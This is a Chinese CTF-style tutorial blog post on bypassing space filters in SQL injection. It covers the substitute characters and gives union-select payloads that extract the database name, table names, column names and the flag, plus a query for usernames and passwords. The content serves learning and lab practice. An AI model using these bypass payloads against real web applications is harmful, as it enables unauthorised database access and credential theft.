Web的SQL的过滤空格

1.原理:

由于过滤了空格致使无法执行注入的语句时,可使用以下字符代替空格,发挥同样效果

  1. ():一对圆括号
  2. +:加号
  3. %09、%0a、%0b、%0c、%0d:TAB水平制表符、换行符、垂直制表符、换页、回车的URL编码形式
  4. /**/:块注释符

2.过程:

 

分别输入1,2,3,发现ID:3时没有回显,加上单引号’,还是没有,

试一下’ or ‘1’=’1或者’ and ‘1’=’1得到,回显Hacker!

利用联合查询,查询数据库



-1/**/union/**/select/**/database(),2 

得到数据库名

接下来查询表名

 -1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli' 

group_concat():将字段数据用逗号分隔,再合并

information_schema.tables where table_schema='库名':查询整个数据库中所有库所对应的表信息

information_schema.tables:记录表名信息的表

table_name:表名

继续,查字段名

-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name=' rhbdjtdelj ' 

查字段信息

-1/**/union/**/select/**/vzndxuwxnu,2/**/from/**/ rhbdjtdelj

最后得到flag

3.补充:

基础SQL语句:select datebase()#查看当前库名;

select table_name from information_schema.tables where table_schema=datebase()#查看当前库内的表名;

select column_name from information_schema.columns where table_schema=datebase() and table_name=’user’#查询列名

select name,password from user#查看用户名和密码

information_schema:简单来说就是数据库结构的集合,可以是表,列等等。这里后面接.tables就是数据库的表

注入思想:   

  找到注入点:判断是否存在漏洞,找插入位置

构造注入语句,并在注入点注入形成新的SQL语句

新形成的SQL语句提交数据库处理

数据库执行新的SQL语句,引发注入攻击

出现报错的原因:

首先是应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;其次,必不可少就是后台未对MySQL相应的报错函数进行过滤

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值